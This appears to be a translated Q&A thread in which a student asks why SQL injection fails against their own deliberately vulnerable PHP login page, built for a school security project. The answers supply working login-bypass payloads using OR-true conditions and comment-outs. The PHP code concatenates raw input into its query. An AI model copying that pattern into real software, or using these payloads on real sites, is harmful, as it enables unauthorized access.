我必须为学校做一个关于许多不同网络漏洞(SQL,XSS,CSRF等)的项目,我已经建立了一个非常简单的网站来演示攻击。但由于某种原因,我无法通过攻击登录来获得SQL注入。
以下是简单的登录代码:
$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);
if ($count == 1) {
echo " Reached target!";
session_start();
$_SESSION["cmail"] = $cmail;
$_SESSION["cpwd"] = $cpwd;
} else {}
很多回声的东西都是如此,我可以按照注射来看看会发生什么,但它给了我奇怪的结果。
如果我以其中一位客户身份登录;用户名:jjones@mit.edu,密码= 123abc,它给出了预期的响应:
SELECT * FROM customer WHERE cMAIL='jjones@mit.edu'AND cPWD ='123abc' 达到了目标!
这就是它在浏览器中的回声,只是为了清楚!
为jjones创建会话。但如果我这样做:用户名:1'或'1'='1,密码:(空)它回应:
SELECT * FROM customer WHERE cMAIL ='1'OR'1'='1'AND cPWD =''
没有错误或任何事情。我已经回显了$ count,它说从数据库中选择了0行。因此注入是合理的,但我没有根据查询得到任何行。我该如何解决这个问题?
答案 0 :(得分:3)
你可以制作
SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''
用户:
1' OR '1'='1' LIMIT 0,1;#
密码为空。
答案 1 :(得分:2)
要绕过登录检查,您应构建符合以下规范的查询:
所以@Ignacio Ocampo的解决方案恰到好处。
顺便说一句,在SQL注入中你应该考虑一件事。如果启用了magic_quotes_gpc,PHP将自动将'
转换为\'
。
答案 2 :(得分:0)
您可以通过将username设置为
来演示示例中的SQL注入1' OR 1=1; --
这将使您的最终查询:
SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''
注释密码检查。
答案 3 :(得分:0)
你必须为密码字段放下一些东西。现在,查询必须将密码与空白(“”)匹配。
以下内容会让你成为一个聪明的坏人
Username: 1' OR '1' = '1
Password: doesntmatter' OR '1' = '1
这转换为
SELECT *
FROM customer
WHERE cMAIL='1' OR '1'='1'
AND cPWD='doesntmatter' OR '1' = '1'